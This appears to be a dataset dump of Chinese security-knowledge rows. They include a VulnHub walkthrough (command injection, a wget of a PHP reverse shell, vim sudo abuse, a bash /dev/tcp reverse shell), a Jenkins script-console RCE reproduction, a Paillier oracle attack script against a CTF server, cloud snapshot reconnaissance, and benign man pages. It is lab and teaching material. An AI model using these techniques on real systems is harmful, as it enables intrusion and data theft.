text
stringlengths
100
9.93M
category
stringclasses
11 values
--- title: RDS 信息收集 --- <center><h1>RDS 信息收集</h1></center> --- ## 通知邮箱 在 AWS RDS 的控制台处,可以在编辑警报处看到目标配置的通知邮箱地址,这种邮箱地址可能是目标公司的安全部门人员邮箱,应该予以关注。 </br><img width="800" src="/img/1651979355.png"></br> ## 性能详情 在 AWS RDS 控制台中,可以通过数据库性能详情信息,收集到目标 RDS TOP SQL 语句、TOP 连接主机、TOP 用户等信息。 </br><img width="800" src="/img/1651979406.png"></br> ## 共享快照 对于 AWS RDS,可以在共享快照中,根据快照名称判断查找,看看是否有和目标相关联的快照,然后再通过还原快照的方式,获得快照中 RDS 的数据。 </br><img width="1000" src="/img/1651979469.png"></br> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月8日" } } </script>
sec-knowleage
umask === 显示或设置创建文件的权限掩码。 ## 概要 ```shell umask [-p] [-S] [mode] ``` ## 主要用途 - 显示当前的文件权限掩码。 - 通过八进制数的方式设置创建文件的权限掩码。 - 通过符号组合的方式设置创建文件的权限掩码。 ## 参数 mode(可选):八进制数或符号组合。 ## 选项 ```shell -p:当没有参数时指定该选项,执行产生的输出格式可复用为输入; -S:以符号组合的方式输出创建文件的权限掩码,不使用该选项时以八进制数的形式输出。 ``` ## 返回值 返回状态为成功除非给出了非法选项或非法参数。 ## 例子 *以下的例子均假设文件权限掩码为0022。* ```shell # 以八进制数的形式输出创建文件的权限掩码。 umask -p # 执行结果: umask 0022 # 以符号组合的方式输出创建文件的权限掩码。 umask -S # 执行结果: u=rwx,g=rx,o=rx ``` > 参考`man chmod`文档的`DESCRIPTION`段落得知: > - `u`符号代表当前用户。 > - `g`符号代表和当前用户在同一个组的用户,以下简称组用户。 > - `o`符号代表其他用户。 > - `a`符号代表所有用户。 > - `r`符号代表读权限以及八进制数`4`。 > - `w`符号代表写权限以及八进制数`2`。 > - `x`符号代表执行权限以及八进制数`1`。 > - `+`符号代表添加目标用户相应的权限。 > - `-`符号代表删除目标用户相应的权限。 > - `=`符号代表添加目标用户相应的权限,删除未提到的权限。 那么刚才以符号形式输出的结果`u=rwx,g=rx,o=rx`转化为八进制数等于`0755`; 用八进制数来设置同样的权限,`umask`需要额外的执行减法`0777 - 0755`即`0022`,而`chmod`不需要。 符号组合模式的添加、删除、赋值权限。 ```shell # 添加权限: # 为组用户添加写权限。 umask g+w # 删除权限: # 删除其他用户的写、执行权限 umask o-wx # 赋值权限: # 赋值全部用户所有权限,等价于umask u=rwx,g=rwx,o=rwx umask a=rwx # 清除其他用户的读、写、执行权限。 umask o= ``` 创建文件夹、文件(假设当前目录不存在) ```shell # 创建文件 touch test.sh # 查看权限,发现执行权限的设置不起作用。 stat test.sh # 创建文件夹 touch newdir # 查看权限,发现执行权限的设置可以起作用。 stat newdir ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 2. `chmod`用于更改已有对象的权限,`umask`影响之后新建对象的权限。 3. **请谨慎使用该命令**,特别是不要取消当前用户的读取权限,那样会导致你在终端使用`TAB`键补全时报错。
sec-knowleage
# Wallaby's Nightmare 下载地址:https://download.vulnhub.com/wallabys/wallabysnightmare102.rar ## 实战演练 发现靶场IP:`192.168.32.157` ![image-20220620193752791](../../.gitbook/assets/image-20220620193752791.png) 扫描对外IP端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -sT -sV -p1-65535 192.168.32.157 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 07:38 EDT Nmap scan report for 192.168.32.157 Host is up (0.00074s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 6667/tcp filtered irc MAC Address: 00:0C:29:03:CE:57 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds ``` 浏览器访问80端口,叫你输入一个名字开始CTF比赛。 ![image-20220620193947231](../../.gitbook/assets/image-20220620193947231.png) ![image-20220620194039601](../../.gitbook/assets/image-20220620194039601.png) > 这是什么鬼?一个叫test的家伙想侵入我的服务器?失败者一定不知道我是伟大的小袋鼠! > > 让我们先观察一下,也许我可以从他的行为中了解他。 尝试本地包含漏洞 ![image-20220620194138992](../../.gitbook/assets/image-20220620194138992.png) > 伙计,你的做法很可疑啊。你一定认为小袋鼠的密码像猴子一样!不过我最好还是去保护这个SQLi… > > (袋鼠发现你在尝试LFI,你必须更狡猾!难度增加) 刷新浏览器发现失败,后面使用nmap再次扫描端口,发现http端口变成了60080 ![image-20220620194323549](../../.gitbook/assets/image-20220620194323549.png) 访问60080端口 ![image-20220620194356018](../../.gitbook/assets/image-20220620194356018.png) > 天哪,这个家伙想要我…很高兴我搬到了另一个端口,这样我可以更安全地工作!! > > 我们都知道,通过隐藏实现安全是可行的方法…… 继续尝试本地包含文件漏洞 ![image-20220620195547968](../../.gitbook/assets/image-20220620195547968.png) 直接用字典fuzz ``` ┌──(root💀kali)-[~/Desktop] └─# dirb http://192.168.32.157:60080/index.php?page= /usr/share/wordlists/dirb/big.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Jun 20 07:56:15 2022 URL_BASE: http://192.168.32.157:60080/index.php?page= WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://192.168.32.157:60080/index.php?page= ---- + http://192.168.32.157:60080/index.php?page=blacklist (CODE:200|SIZE:991) + http://192.168.32.157:60080/index.php?page=cgi-bin/ (CODE:200|SIZE:897) + http://192.168.32.157:60080/index.php?page=contact (CODE:200|SIZE:895) + http://192.168.32.157:60080/index.php?page=home (CODE:200|SIZE:1144) + http://192.168.32.157:60080/index.php?page=index (CODE:200|SIZE:1359) + http://192.168.32.157:60080/index.php?page=mailer (CODE:200|SIZE:1082) ----------------- END_TIME: Mon Jun 20 07:56:31 2022 DOWNLOADED: 20458 - FOUND: 6 ``` 访问`http://192.168.32.157:60080/index.php?page=mailer`,查看页面源代码,找到一个提示 ![image-20220620195737512](../../.gitbook/assets/image-20220620195737512.png) mail参数可以执行Linux命令 ![image-20220620195853526](../../.gitbook/assets/image-20220620195853526.png) ``` http://192.168.32.157:60080/index.php?page=mailer&mail=wget%20%20http://192.168.32.130:8000/php-reverse-shell.php ``` ![image-20220620200707590](../../.gitbook/assets/image-20220620200707590.png) 查看sudo列表 ``` $ sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu: (waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf (ALL) NOPASSWD: /sbin/iptables ``` 查看防火墙规则,发现拦截ircd端口 ``` $ sudo iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- localhost anywhere tcp dpt:ircd DROP tcp -- anywhere anywhere tcp dpt:ircd Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination ``` 清除防火墙规则 ![image-20220620201118549](../../.gitbook/assets/image-20220620201118549.png) 连接到IRC聊天室 ``` irssi -c 192.168.32.157 ``` ![image-20220620213425537](../../.gitbook/assets/image-20220620213425537.png) 查看聊天室 ![image-20220620213505320](../../.gitbook/assets/image-20220620213505320.png) 加入`wallabyschat`聊天室 ``` /j wallabyschat ``` 在频道`wallabyschat`内,我看到了另外两个用户 ![image-20220620213546208](../../.gitbook/assets/image-20220620213546208.png) 回到**IRSSI**的主窗口,我使用以下命令对用户进行了一些侦察: ``` /whois waldo /whois wallabysbot ``` ![image-20220620215858904](../../.gitbook/assets/image-20220620215858904.png) wallabysbot基于Sopel。在服务器上寻找这个机器人框架: ``` import sopel.module, subprocess, os from sopel.module import example @sopel.module.commands('run') @example('.run ls') def run(bot, trigger): if trigger.owner: os.system('%s' % trigger.group(2)) runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0] runas = str(runas1) bot.say(' '.join(runas.split('\\n'))) else: bot.say('Hold on, you aren\'t Waldo?') ``` ![image-20220620220225537](../../.gitbook/assets/image-20220620220225537.png) 尝试运行命令,会提示你是否是Waldo用户 ![image-20220620220552968](../../.gitbook/assets/image-20220620220552968.png) 我发现Waldo使用Tmux来满足他的IRC需求。他的设置有问题。如果 Tmux 宕机,他的 IRC 连接也会宕机。 > _tmux_是指通过一个终端登录远程主机并运行后,在其中可以开启多个控制台的终端复用软件 ``` $ cat irssi.sh #!/bin/bash tmux new-session -d -s irssi tmux send-keys -t irssi 'n' Enter tmux send-keys -t irssi 'irssi' Enter ``` 找到tumx的进程 ![image-20220620221001015](../../.gitbook/assets/image-20220620221001015.png) 使用vim对进程进行关闭 ``` sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf ``` 使用Vim发出 kill 命令 ``` [ESC]:!kill 732 [ENTER] ``` ![image-20220620221332832](../../.gitbook/assets/image-20220620221332832.png) 通过改变我的昵称来接管Waldos的身份: ``` /nick waldo ``` 反弹shell ``` .run bash -c 'bash -i >& /dev/tcp/192.168.32.130/17777 0>&1' ``` ![image-20220620221615105](../../.gitbook/assets/image-20220620221615105.png) 最后提权成功 ![image-20230208161300671](../../.gitbook/assets/image-20230208161300671.png)
sec-knowleage
# Episode 5: Challenge 1 ## Description > Piece together the images to get a clearer picture. > > Hint: I wonder if those toys from the 90's are still alive. A binary file was attached. ## Solution Let's take a look at the binary file: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP005/Challenge_01/a] └─$ file challenge.bin challenge.bin: data ┌──(user@kali)-[/media/…/h4ck1ng.google/EP005/Challenge_01/a] └─$ xxd -g 1 challenge.bin | head 00000000: 30 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0............... 00000010: 00 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 03 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 03 0f 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 ................ 00000060: 30 00 00 03 30 00 00 54 01 50 00 03 33 00 00 0c 0...0..T.P..3... 00000070: 0c 00 00 05 05 00 00 00 30 00 00 0c 0c 00 00 15 ........0....... 00000080: 55 40 00 0f cf c0 00 03 30 00 00 10 00 40 00 00 U@......0....@.. 00000090: 30 00 00 00 c0 00 00 11 04 40 00 03 33 00 00 00 0........@..3... ``` Not much to work with. No known format. The hint talks about a 90's game which might be still alive, and the episode features a hacker named Natalie Silvanovich which loves hacking Tamagotchi devices. Searching for related info online, we come across the [Egg-Shell repository](https://github.com/natashenka/Egg-Shell), which is maintained by Natalie and contains some Tamagotchi Development Tools. Specifically, we find a script called [portrait.py](https://github.com/natashenka/Egg-Shell/blob/master/portrait/portrait.py) which does some conversions between a bitmap and a custom image format. It's not exactly the same, but it seems similar enough to give us an idea about what's going on: * The first two bytes are width (`48`) and height (`31`). This gives us `48 * 31 = 1488` pixels. * Each pixel is encoded into 2 bits, so `1488` pixels are encoded into `372` bytes. And indeed, if we skip `372 + 2` bytes, we arrive to a new header: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP005/Challenge_01/a] └─$ xxd -g 1 -s 374 challenge.bin | head 00000176: 30 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0............... 00000186: 00 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 03 ................ 00000196: 03 00 00 00 00 00 00 00 00 00 00 03 03 00 00 00 ................ 000001a6: 00 00 00 00 00 00 00 03 33 00 00 00 00 00 00 00 ........3....... 000001b6: 00 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c6: 00 00 00 00 00 00 00 00 30 00 00 00 00 00 00 03 ........0....... 000001d6: 00 00 00 00 cc 00 00 00 00 00 00 03 00 00 00 03 ................ 000001e6: 03 00 00 00 00 00 00 3c f0 00 00 00 cc 00 00 54 .......<.......T 000001f6: 01 50 00 03 00 00 00 00 30 00 00 05 05 00 00 03 .P......0....... 00000206: 00 00 00 00 00 00 00 15 55 40 00 00 00 00 00 00 ........U@...... ``` Let's create a quick script to decode the images: ```python from PIL import Image from itertools import count BLACK = (0, 0, 0) WHITE = (255, 255, 255) BITS_PER_PIXEL = 2 BITS_PER_BYTE = 8 PIXELS_IN_BYTE = BITS_PER_BYTE // BITS_PER_PIXEL PIXEL_MASK = ((1 << BITS_PER_PIXEL) - 1) with open("challenge.bin", "rb") as f: for counter in count(): width = f.read(1) if width == b'': break width = ord(width) height = ord(f.read(1)) img = Image.new('RGB', (width, height)) pixels = [] for i in range((width * height) // PIXELS_IN_BYTE): p = ord(f.read(1)) for _ in range(PIXELS_IN_BYTE): pixels.append( BLACK if (p & PIXEL_MASK != 0) else WHITE) p >>= BITS_PER_PIXEL img.putdata(pixels) img.save(f"out_{counter}.png") ``` We run it and receive 8 images, for example: ![](images/tam_x.png) Wait, what? We must have gotten the order reversed. Let's try again: ```python for i in range((width * height) // PIXELS_IN_BYTE): data = [] p = ord(f.read(1)) for _ in range(PIXELS_IN_BYTE): data.append( BLACK if (p & PIXEL_MASK != 0) else WHITE) p >>= BITS_PER_PIXEL pixels += (data[::-1]) ``` Output for the same image is now: ![](images/tam_7.png) This makes much more sense. And the full images: ![](images/tam.png) The flag: `https://h4ck1ng.google/solve/2bpp_FTW`
sec-knowleage
# Jenkins未授权访问漏洞 ## 漏洞描述 部署**Jenkins 1.62版本**,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是"任意用户可以做任何事",存在未授权访问的问题。 ## 环境搭建 选择1.62版本进行下载,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war 将WAR包丢到tomcat的webapps里面,启动tomcat ![image-20220519140115351](../../.gitbook/assets/image-20220519140115351.png) ![image-20220519140127852](../../.gitbook/assets/image-20220519140127852.png) ## 漏洞复现 进入管理页面:http://192.168.32.131:8080/jenkins/manage ![image-20220519140202018](../../.gitbook/assets/image-20220519140202018.png) 进入脚本命令行,后缀输入script进入脚本命令行,输入:`println "ls".execute().text`,就可以执行`ls`命令。 ![image-20230129211427939](../../.gitbook/assets/image-20230129211427939.png)
sec-knowleage
version: '2' services: spring: image: vulhub/spring-cloud-gateway:3.1.0 ports: - "8080:8080"
sec-knowleage
import gmpy2 import hashlib from Crypto.Util.number import size, getRandomRange, GCD, getStrongPrime, inverse, getRandomInteger from crypto_commons.netcat.netcat_commons import nc, send class RemoteOracle: def __init__(self): url = "ppc2.chal.ctf.westerns.tokyo" port = 38264 self.s = nc(url, port) def get_lsb(self, payload): send(self.s, hex(long(payload))[2:-1]) data = self.s.recv(9999) if data[0] != '1' and data[0] != '0': print("WTF", data) return data[0] def LCM(x, y): return x * y // GCD(x, y) def L(x, n): return (x - 1) // n def encrypt(m, g, n, n2): r = getRandomRange(1, n2) c = pow(g, m, n2) * pow(r, n, n2) % n2 return c def decrypt(c, sk1, sk2, n, n2): return L(pow(c, sk1, n2), n) * sk2 % n def recover_high_bits(low, oracle, n, n2, g, ct): print('cracking high bits') mbits = size(n) b = mbits // 2 result_bits = [] subtractor = n - low sub = encrypt(subtractor, g, n, n2) ct_sub = (ct * sub) % n2 for i in range(b): divisor = inverse(2 ** i, n) payload = pow(ct_sub, divisor, n2) lsb = oracle.get_lsb(payload) result_bits.append(str(lsb)) return "".join(result_bits[::-1]) def recover_low_bits(oracle, n, n2, g, ct): print('cracking low bits') mbits = size(n) bits_to_recover = mbits // 2 result_bits = [] initial_state = oracle.get_lsb(ct) for i in range(bits_to_recover): filling = ['0' if known_bit == '1' else '1' for known_bit in result_bits] add = int("".join(filling + ['1']), 2) << (bits_to_recover - i - 1) payload = (ct * encrypt(add, g, n, n2)) % n2 lsb = oracle.get_lsb(payload) if lsb != initial_state: result_bits.append('1') else: result_bits.append('0') result = "".join(result_bits) return result def main(): pass print('cracking...') n = 0xadd142708d464b5c50b936f2dc3a0419842a06741761e160d31d6c0330f2c515b91479f37502a0e9ddf30f7a18c71ef1eba993bdc368f7e90b58fb9fdbfc0d9ee0776dc629c8893a118e0ad8fc05633f0b9b4ab20f7c6363c4625dbaedf5a8d8799abc8353cb54bbfeab829792eb57837030900d73a06c4e87172599338fd5b1 n2 = 0x76047ed9abf5e8f5fc2a2f67162eb2bc0359c3ffa3585ba846de7181d815dba75738c65f79d8923c061b55933fbd391e48da3cd94ab6c5b09f7c9e80dea0b5848a8cf74cd27e429ca3d4647d81d4deae1ec76ffd732124c0e31fe6fbed1103135f19f3fcc2ec04a9f694c4468597b12e1c0020d478b82a21ca899e76f6f28d32cef1eea558fd8fddf1a870ceae356809cf567c1627fdcbb967e4c5996cf15119ab5c058d8bf4280efc5eff7659d717ccfa08169681a2445a17874099e448278fdf7e99b7df1a2e309592e2dc3c6a762a97d46e4b8a5e2824e52e30a241bdce7aa67f788866e41b2a2282f7d2c5fa606ad4541a5e46a22bab53e33786f41e0461 g = 0x676ae3e2f70e9a5e35b007a70f4e7e113a77f0dbe462d867b19a67839f41b6e66940c02936bb73839d98966fc01f81b2b79c834347e71de6d754b038cb83f27bac6b33bf7ebd25de75a625ea6dd78fb973ed8637d32d2eaf5ae412b5222c8efea99b183ac823ab04219f1b700b207614df11f1f3759dea6d722635f45e453f6eae4d597dcb741d996ec72fe3e54075f6211056769056c5ad949c8becec7e179da3514c1f110ce65dc39300dfdce1170893c44f334a1b7260c51fb71b2d4dc6032e907bbaeebff763665e38cdfe418039dc782ae46f80e835bfd1ef94aeaba3ab086e61dab2ff99f600eb8d1cd3cf3fc952b56b561adc2de2097e7d04cb7c556 ct = 0x2ab54e5c3bde8614bd0e98bf838eb998d071ead770577333cf472fb54bdc72833c3daa76a07a4fee8738e75eb3403c6bcbd24293dc2b661ab1462d6d6ac19188879f3b1c51e5094eb66e61763df22c0654174032f15613a53c0bed24920fd8601d0ac42465267b7eba01a6df3ab14dd039a32432003fd8c3db0501ae2046a76a8b1e56f456a2d40e2dd6e2e1ab77a8d96318778e8a61fe32d03407fc6a7429ec1fb66fc68c92e33310b3a574bde7818eb7089d392a30d07c85032a3d34fd589889ff6053fb19592dbb647a38063c5b403d64ee94859d9cf9b746041e5494ab7413f508d814c4b3bba29bca41d4464e1feb2bce27b3b081c85b455e035a138747L oracle = RemoteOracle() low_bits = recover_low_bits(oracle, n, n2, g, ct) print(low_bits) high_bits = recover_high_bits(int(low_bits, 2), oracle, n, n2, g, ct) print(high_bits) print(len(low_bits + high_bits)) print(high_bits + low_bits) message = int(high_bits + low_bits, 2) print(message) print("TWCTF{" + hashlib.sha1(str(message).encode("ascii")).hexdigest() + "}") # main() def sanity(): bits = 1024 p = getStrongPrime(bits / 2) q = getStrongPrime(bits / 2) n = p * q n2 = n * n k = getRandomRange(0, n) g = (1 + k * n) % n2 sk1 = LCM(p - 1, q - 1) sk2 = inverse(L(pow(g, sk1, n2), n), n) pt = getRandomInteger(bits - 1) ct = encrypt(pt, g, n, n2) mult = 123 ct20 = pow(ct, mult, n2) print(decrypt(ct20, sk1, sk2, n, n2) == (mult * pt) % n) divisor = 123 ct_2 = pow(ct, inverse(divisor, n), n2) print(divisor * decrypt(ct_2, sk1, sk2, n, n2) % n == pt) add = 123 ct_add = ct * encrypt(add, g, n, n2) print(decrypt(ct_add, sk1, sk2, n, n2) == (pt + add) % n) sub = 123 ct_sub = ct * encrypt(n - sub, g, n, n2) print(decrypt(ct_sub, sk1, sk2, n, n2) == (pt - sub) % n) ct_comb = pow(ct * encrypt(sub, g, n, n2), mult, n2) print(decrypt(ct_comb, sk1, sk2, n, n2) == (mult * (pt + sub)) % n) ct_comb2 = pow(ct, mult, n2) * encrypt(sub, g, n, n2) print(decrypt(ct_comb2, sk1, sk2, n, n2) == (mult * pt + sub) % n) # sanity() class LocalOracle: def __init__(self, sk1, sk2, n, n2, b): self.sk1 = sk1 self.sk2 = sk2 self.n = n self.n2 = n2 self.b = b def get_lsb(self, payload): decrypted = decrypt(payload, self.sk1, self.sk2, self.n, self.n2) return (decrypted >> self.b) & 1 def testing_full(i): print('running full test %d times' % i) bits = 128 for i in range(100): p = gmpy2.next_prime(2 ** (bits / 2)) q = gmpy2.next_prime(p) n = p * q n2 = n * n mbits = size(n) b = mbits // 2 k = getRandomRange(0, n) g = (1 + k * n) % n2 sk1 = LCM(p - 1, q - 1) sk2 = inverse(L(pow(g, sk1, n2), n), n) pt = getRandomInteger(bits - 1) ct = encrypt(pt, g, n, n2) assert decrypt(encrypt(pt, g, n, n2), sk1, sk2, n, n2) == pt print(pt) print(bin(pt)[2:]) low = recover_low_bits(LocalOracle(sk1, sk2, n, n2, b), n, n2, g, ct) print(low) high = recover_high_bits(int(low, 2), LocalOracle(sk1, sk2, n, n2, b), n, n2, g, ct) print(high) result = int(high + low, 2) print(result) assert result == pt # testing_full(100)
sec-knowleage
'\" t .\" Don't change the first line, it tells man that we need tbl. .\" This man page is Copyright (C) 1999 Andi Kleen . .\" and copyright (c) 1999 Matthew Wilcox. .\" Permission is granted to distribute possibly modified copies .\" of this page provided the header is included verbatim, .\" and in case of nontrivial modification author and date .\" of the modification is added to the header. .TH SOCKET 7 "7 May 1999" "Linux Man Page" "Linux Programmer's Manual" .SH NAME socket \- Linux 套接字 .SH 总览 .B #include <sys/socket.h> .br .IB mysocket " = socket(int " socket_family ", int " socket_type ", int " protocol ); .SH 描述 本手册页介绍了 Linux 套接字的用户接口. 这个 BSD 兼容套接字是介于用 户进程与内核网络协议栈之间的统一接口, 各协议模块属于不同的 .I 协议族 ,如 .BR PF_INET ", " PF_IPX ", " PF_PACKET 和 .I 套接字类型 ,如 .B 字节流(SOCK_STREAM) 或 .BR 数据报(SOCK_DGRAM). 关于协议族和套接字类型请参考 .BR socket (2) "." .SH 套接层函数 用户通过这些套接字函数发送和接收包, 以及其他套接字操作. 详细说明参看他们各自的手册页. .BR socket (2) 创建套接字, .PP .BR connect (2) 与远程套接字地址建立连接 .PP .BR bind (2) 把套接字和一个本地套接字地址绑定在一起(为套接字分配一个本地协议地址) .PP .BR listen (2) 通知套接字接受新的连接 .PP .BR accept (2) 为新的已完成连接获得新的描述字 .PP .BR socketpair (2) 返回两个连接的匿名套接字(仅在某些本地族中才有实现,如 .BR PF_UNIX ")" .PP .BR send (2), .PP .BR sendto (2), 和 .BR sendmsg (2) 通过套接字发送数据,而 .BR recv (2), .BR recvfrom (2), .BR recvmsg (2) 从套接字接收数据. .BR poll (2) 和 .PP .BR select (2) 等待数据到来或准备好接收数据. 除此之外, 标准 I/O 操作如 .BR write (2), .BR writev (2), .BR sendfile (2), .BR read (2), 和 .BR readv (2) 也可用来读入(接收)和写出(发送)数据. .PP .BR getsockname (2) 用于获得本地套接字地址 .PP .BR getpeername (2) 用于获得远端套接字地址. .BR getsockopt (2) 和 .BR setsockopt (2) 用于设置或取得套接字或协议选项. .BR ioctl (2) 也可以用来设置或读取一些其他选项. .PP .BR close (2) 关闭套接字. .BR shutdown (2) 关闭全双工套接字连接的一部分. .PP 套接字不支持搜索,也不支持调用 .BR pread (2) 或 .BR pwrite (2) 进行非 0 位置的操作. 可以用 .BR fcntl (2). 设置 .B O_NONBLOCK 标志来实现对套接字的非阻塞 I/O 操作 .B O_NONBLOCK 是从 accept 继承来的,然后原来所有会阻塞的操作会返回 .BR EAGAIN . .BR connect (2) 在此情况下返回 .B EINPROGRESS 错误. 用户可以通过 .BR poll (2) 或者 .BR select (2) 等待各种事件. .PP .TS tab(:) allbox; c s s l l l. I/O 事件 事件:轮询标志:发生事件 读:POLLIN:T{ 新数据到达. T} 读:POLLIN:T{ (对面向连接的套接字)建立连接成功 T} 读:POLLHUP:T{ 另一端套接字发出断开连接请求. T} 读:POLLHUP:T{ (仅对面向连接协议)套接字写的时候连接断开. 同时发送 .B SIGPIPE. T} 写:POLLOUT:T{ 套接字有充足的发送缓冲区用于写入新数据. T} 读/写:T{ POLLIN| .br POLLOUT T}:T{ 发出的 .BR connect (2) 结束. T} 读/写:POLLERR:产生一个异步错误. 读/写:POLLHUP:对方已经单向关闭连接. 例外:POLLPRI:T{ 紧急数据到达.然后发送 .B SIGURG. T} .\" XXX not true currently .\" It is no I/O event when the connection .\" is broken from the local end using .\" .BR shutdown (2) .\" or .\" .BR close (2) .\" . .TE .PP 另外一个的 poll/select 方法是让内核用 .B SIGIO 信号来通知应用程序. 要这么用的话你必须用 .BR fcntl (2) 设置套接字文件描述符的 .B FASYNC 标志,并用 .BR sigaction (2). 给 .B SIGIO 信号设置一个的有效信号处理句柄.参看下面的 .I SIGNALS 的讨论. .SH 套接字选项 套接字选项可以用 .BR setsockopt (2) 来设置,用 .BR getsockopt (2) 读取所有套接字级别设为 .B SOL_SOCKET 的套接字的套接字选项: .TP .B SO_KEEPALIVE 允许在面向连接的套接字上发送 keep\-alive 消息的功能.是一个布尔整数. .TP .B SO_OOBINLINE 如果打开这个选项,带外(Out\-of\-Band)数据可以直接放入接收数据流。 否则,只有接收时打开 .B MSG_OOB 标志, 才接收带外数据. .\" don't document it because it can do too much harm. .\".B SO_NO_CHECK .TP .BR SO_RCVLOWAT " 和 " SO_SNDLOWAT 声明在开始向协议 .RB ( SO_SNDLOWAT ) 或正在接收数据的用户 .RB ( SO_RCVLOWAT ). 传递数据之前缓冲区内的最小字节数. 在 Linux 中这两个值是不可改变的, 固定为 1 字节. 可以用 .B getsockopt 用来读取它们的值; .B setsockopt 总是返回 .BR ENOPROTOOPT . .TP .BR SO_RCVTIMEO " 和 " SO_SNDTIMEO 发送和接收时的超时设定, 并在超时时报错. 在 Linux 中由 协议指定, 不能被读写. 它们的功能可用 .BR alarm (2) 或者 .BR setitimer (2). 来模拟. .TP .B SO_BSDCOMPAT 允许 BSD 的 bug\-to\-bug 兼容. 这一项只能在 UDP 协议模块中使用而 且今后将要取消. 如果允许的话, UDP 套接字接收到的 ICMP 错误将不 会被传送至用户程序. Linux 2.0 中对于原始套接字也允许 BSD bug\-to\-bug 兼容(报头随机改变,省略广播标识),但在 Linux 2.2 中取消了这一项. 修改用户程序的方式比较好. .TP .B SO_PASSCRED 允许或关闭 .B SCM_CREDENTIALS 控制消息的接收. 更多信息参见 .BR unix (7). .TP .B SO_PEERCRED 返回连接至此套接字的外部进程的身份验证. 只在 .B PF_UNIX 套接字中有用.参见 .BR unix (7). 参数为 .B ucred 结构.只在 .BR getsockopt . 中有效. .TP .B SO_BINDTODEVICE 将此套接字绑定到一个特定的设备上, 如\(lqeth0\(rq, 做为指定的接口名字传递. 如果名称是空字符串或此项长度为 0, 则套接字设备绑定被取消. 过去的选项是一个变长的空零结尾的 接口名称的字符串, 其最大长度为 .BR IFNAMSIZ . 如果一个套接字被绑定至一接口, 只有由这个特定接口接收的信息包可以由此套接字处理. .TP .B SO_DEBUG 允许套接字调试.只对有 .B CAP_NET_ADMIN 功能或有效用户标识为 0 的进程有效. .TP .B SO_REUSEADDR 表示在一个 .BR bind (2) 调用中对提供给它的地址使用的确认规则应该允许重复使用本地地址. 对于 .B PF_INET 套接字, 这表示该套接字可以绑定, 除非已有一个活跃的侦听套 接口绑定到此地址上. 如果这个侦听套接字和一个指定端口绑定为 .B INADDR_ANY 时, 它就不能再绑定到任何本地地址的此端口. .TP .B SO_TYPE 按整数返回套接字类型(如 .BR SOCK_STREAM ) 只能通过 .BR getsockopt 读取. .TP .B SO_DONTROUTE 不通过网关发送, 只能发送给直接连接的主机.可以通过在套接字的 .BR send (2) 操作上设置 .B MSG_DONTROUTE 标志来实现相同的效果. 其值为布尔型整数的标识. .TP .B SO_BROADCAST 设置或获取广播标识. 当选择此选项时, 数据报套接字接收向 广播地址发送的数据包, 并且可以向广播地址发送数据包. 这一 选项对于面向流的套接字无效. .TP .B SO_SNDBUF 设置或得到套接字发送缓冲区的最大字节数. 其默认值由 .B wmem_default sysctl 设置,最大允许值由 .B wmem_max sysctl 设置. .TP .B SO_RCVBUF 设置或得到套接字接收缓冲区的最大字节数。其默认值由 .B rmem_default sysctl设置,最大允许值由 .B rmem_max sysctl 设置. .TP .B SO_LINGER 设置或获取 .B SO_LINGER 选项的值. 其参数为 .B linger 结构. .PP .RS .nf .ta 4n 10n 22n struct linger { int l_onoff; /* 延时状态(打开/关闭) */ int l_linger; /* 延时多长时间 */ }; .ta .fi .RE .IP 如果选择此选项, .BR close (2) 或 .BR shutdown (2) 将等到所有套接字里排队的消息成功发送或到达延迟时间后 才会返回. 否则, 调用将立即返回. 而 closing 操作将在后台 进行. 如果套接字是 .BR exit (2), 的一部分关闭时, 它总是在后台延迟进行的. .TP .B SO_PRIORITY 设置在此套接字发送的所有包的协议定义优先权. Linux 通过这一值来排列网络队列: 根据所选设备排队规则, 具有更高优先权的包可以先被处理.对于 .BR ip (7), 同时也设置了输出包的 IP 服务类型(TOS)的域. .TP .B SO_ERROR 取得并清除未解决的套接字错误. 只有在 .BR getsockopt . 时有效. 是一个整数值. .SH SIGNALS 当向一个已关闭(被本地或远程终端)的面向联接的套接字写入时, 将向该写入进程发送 .B SIGPIPE 信号,并返回 .B EPIPE . 如果写入命令声明了 .B MSG_NOSIGNAL 标识时, 不会发出此信号. .PP 如果与 .B FIOCSETOWN fcntl 或 .B SIOCSPGRP ioctl 一起请求,那么当发生 I/O 事件时发出 .B SIGIO 这样我们就可以在信号句柄里使用 .BR 